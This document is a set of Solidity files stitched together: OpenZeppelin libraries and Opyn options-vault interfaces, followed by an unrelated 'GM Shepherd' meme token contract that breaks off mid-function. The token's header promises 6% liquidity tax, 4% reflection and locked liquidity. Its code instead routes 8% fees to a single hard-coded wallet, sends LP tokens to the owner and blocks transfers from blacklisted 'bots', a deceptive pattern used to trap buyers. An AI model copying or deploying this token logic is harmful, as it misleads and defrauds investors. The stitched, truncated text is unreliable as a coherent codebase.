function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
interface IAction {
/**
* The function used to determin how much asset the current action is controlling.
* this will impact the withdraw and deposit amount calculated from the vault.
*/
function currentValue() external view returns (uint256);
/**
* The function for the vault to call at the end of each vault's round.
* after calling this function, the vault will try to pull assets back from the action and enable withdraw.
*/
function closePosition() external;
/**
* The function for the vault to call when the vault is ready to start the next round.
* the vault will push assets to action before calling this function, but the amount can change compare to
* the last round. So each action should check their asset balance instead of using any cached balance.
*
* Each action can also add additional checks and revert the `rolloverPosition` call if the action
* is not ready to go into the next round.
*/
function rolloverPosition() external;
/**
* The function used to determine how much asset is locked in the current action.
* this will impact the closeposition amount calculated from the vault.
*/
function currentLockedAsset() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
interface IController {
enum ActionType {
OpenVault,
MintShortOption,
BurnShortOption,
DepositLongOption,
WithdrawLongOption,
DepositCollateral,
WithdrawCollateral,
SettleVault,
Redeem,
Call
}
struct ActionArgs {
ActionType actionType;
address owner;
address secondAddress;
address asset;
uint256 vaultId;
uint256 amount;
uint256 index;
bytes data;
}
struct Vault {
address[] shortOtokens;
address[] longOtokens;
address[] collateralAssets;
uint256[] shortAmounts;
uint256[] longAmounts;
uint256[] collateralAmounts;
}
function pool() external view returns (address);
function getPayout(address _otoken, uint256 _amount) external view returns (uint256);
function operate(ActionArgs[] calldata _actions) external;
function getAccountVaultCounter(address owner) external view returns (uint256);
function oracle() external view returns (address);
function getVault(address _owner, uint256 _vaultId) external view returns (Vault memory);
function getProceed(address _owner, uint256 _vaultId) external view returns (uint256);
function isSettlementAllowed(
address otoken
) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.2;
interface IOracle {
function isDisputePeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool);
function getExpiryPrice(address _asset, uint256 _expiryTimestamp) external view returns (uint256, bool);
function setAssetPricer(address _asset, address _pricer) external;
function setExpiryPrice(
address _asset,
uint256 _expiryTimestamp,
uint256 _price
) external;
function getPrice(address _asset) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
interface IOToken {
function underlyingAsset() external view returns (address);
function strikeAsset() external view returns (address);
function collateralAsset() external view returns (address);
function strikePrice() external view returns (uint256);
function expiryTimestamp() external view returns (uint256);
function isPut() external view returns (bool);
function balanceOf(address account) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: Apache
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.2;
pragma experimental ABIEncoderV2;
/**
* @title Types: Library of Swap Protocol Types and Hashes
*/
library SwapTypes {
struct Order {
uint256 nonce; // Unique per order and should be sequential
uint256 expiry; // Expiry in seconds since 1 January 1970
Party signer; // Party to the trade that sets terms
Party sender; // Party to the trade that accepts terms
Party affiliate; // Party compensated for facilitating (optional)
Signature signature; // Signature of the order
}
struct Party {
bytes4 kind; // Interface ID of the token
address wallet; // Wallet address of the party
address token; // Contract address of the token
uint256 amount; // Amount for ERC-20 or ERC-1155
uint256 id; // ID for ERC-721 or ERC-1155
}
struct Signature {
address signatory; // Address of the wallet used to sign
address validator; // Address of the intended swap contract
bytes1 version; // EIP-191 signature version
uint8 v; // `v` value of an ECDSA signature
bytes32 r; // `r` value of an ECDSA signature
bytes32 s; // `s` value of an ECDSA signature
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
import { ISwap } from "../interfaces/ISwap.sol";
import { SwapTypes } from "../libraries/SwapTypes.sol";
/**
* Error Codes
* A1: invalid airswap address, must not be a 0x address
*/
/**
* @title AirswapBase
*/
contract AirswapBase {
ISwap public airswap;
function _initSwapContract(address _airswap) internal {
require(_airswap != address(0), "A1");
airswap = ISwap(_airswap);
}
function _fillAirswapOrder(SwapTypes.Order memory _order) internal {
airswap.swap(_order);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
import '@openzeppelin/contracts/access/Ownable.sol';
import { IERC20 } from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { SafeERC20 } from '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import { AirswapBase } from './AirswapBase.sol';
import { IWhitelist } from '../interfaces/IWhitelist.sol';
import { SwapTypes } from '../libraries/SwapTypes.sol';
/**
* Error Codes
* R1: next oToken has not been committed to yet
* R2: vault is not activated, cannot mint and sell oTokens or close an open position
* R3: vault is currently activated, cannot commit next oToken or recommit an oToken
* R4: cannot rollover next oToken and activate vault, commit phase period not over (MIN_COMMIT_PERIOD)
* R5: token is not a whitelisted oToken
*/
/**
* @title RolloverBase
* @author Opyn Team
*/
contract RollOverBase is Ownable {
address public otoken;
address public nextOToken;
uint256 constant public MIN_COMMIT_PERIOD = 0 hours; // was 4 but after request reduced it to 0
uint256 public commitStateStart;
/**
* Idle: action will go "idle" after the vault closes this position & before the next oToken is committed.
*
* Committed: owner has already set the next oToken this vault is trading. During this phase, all funds are
* already back in the vault and waiting for redistribution. Users who don't agree with the setting of the next
* round can withdraw.
*
* Activated: after vault calls "rollover", the owner can start minting / buying / selling according to each action.
*/
enum ActionState {
Activated,
Committed,
Idle
}
ActionState public state;
IWhitelist public opynWhitelist;
function onlyCommitted() private view {
require(state == ActionState.Committed, "R1");
}
function onlyActivated() internal view {
require(state == ActionState.Activated, "R2");
}
function _initRollOverBase(address _opynWhitelist) internal {
state = ActionState.Idle;
opynWhitelist = IWhitelist(_opynWhitelist);
}
/**
* owner can commit the next otoken, if it's in idle state.
* or re-commit it if needed during the commit phase.
*/
function commitOToken(address _nextOToken) external onlyOwner {
require(state != ActionState.Activated, "R3");
_checkOToken(_nextOToken);
nextOToken = _nextOToken;
state = ActionState.Committed;
commitStateStart = block.timestamp;
}
function _setActionIdle() internal {
onlyActivated();
// wait for the owner to set the next option
state = ActionState.Idle;
}
function _rollOverNextOTokenAndActivate() internal {
onlyCommitted();
require(block.timestamp - commitStateStart > MIN_COMMIT_PERIOD, "R4");
otoken = nextOToken;
nextOToken = address(0);
state = ActionState.Activated;
}
function _checkOToken(address _nextOToken) private view {
require(opynWhitelist.isWhitelistedOtoken(_nextOToken), 'R5');
_customOTokenCheck(_nextOToken);
}
/**
* @dev funtion to add some custom logic to check the next otoken is valid to this strategy
* this hook is triggered while action owner calls "commitNextOption"
* so accessing otoken will give u the current otoken.
*/
function _customOTokenCheck(address _nextOToken) internal virtual view {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: Apache
/*
Copyright 2020 Swap Holdings Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.2;
pragma experimental ABIEncoderV2;
import {SwapTypes} from "../libraries/SwapTypes.sol";
interface ISwap {
/**
* @notice Atomic Token Swap
* @param order Types.Order
*/
function swap(SwapTypes.Order calldata order) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
interface IWhitelist {
function isWhitelistedOtoken(address _otoken) external view returns (bool);
function whitelistCollateral(address _collateral) external;
function whitelistProduct(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
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|
/**
*
*
$GM Shepherd
Stealth launch on UNISWAP
100% Locked Liquidty on UNICRYPT
Ownership Renounced after Launch
Built as a charity-oriented meme token that is entirely for social good across the globe. Welcome to $GM
Website:
www.gm-shepherd.com
Tokenomics :
1,000,000,000,000 Total Supply
6% Tax to Liquidity Pool
4% Reflection
Ownership renounced after adding Liquidity
Telegram:
https://t.me/gmshepherd
Twitter:
https://twitter.com/GMShepherdETH
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "GM Shepherd";
string private constant _symbol = "GM Shepherd";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x6F86BAFA48a5A505404D2ca3BE756edabF8A8776);
_feeAddrWallet2 = payable(0x6F86BAFA48a5A505404D2ca3BE756edabF8A8776);
_feeAddrWallet3 = payable(0x6F86BAFA48a5A505404D2ca3BE756edabF8A8776);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 8;
_feeAddr2 = 8;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/3);
_feeAddrWallet2.transfer(amount/3);
_feeAddrWallet3.transfer(amount/3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
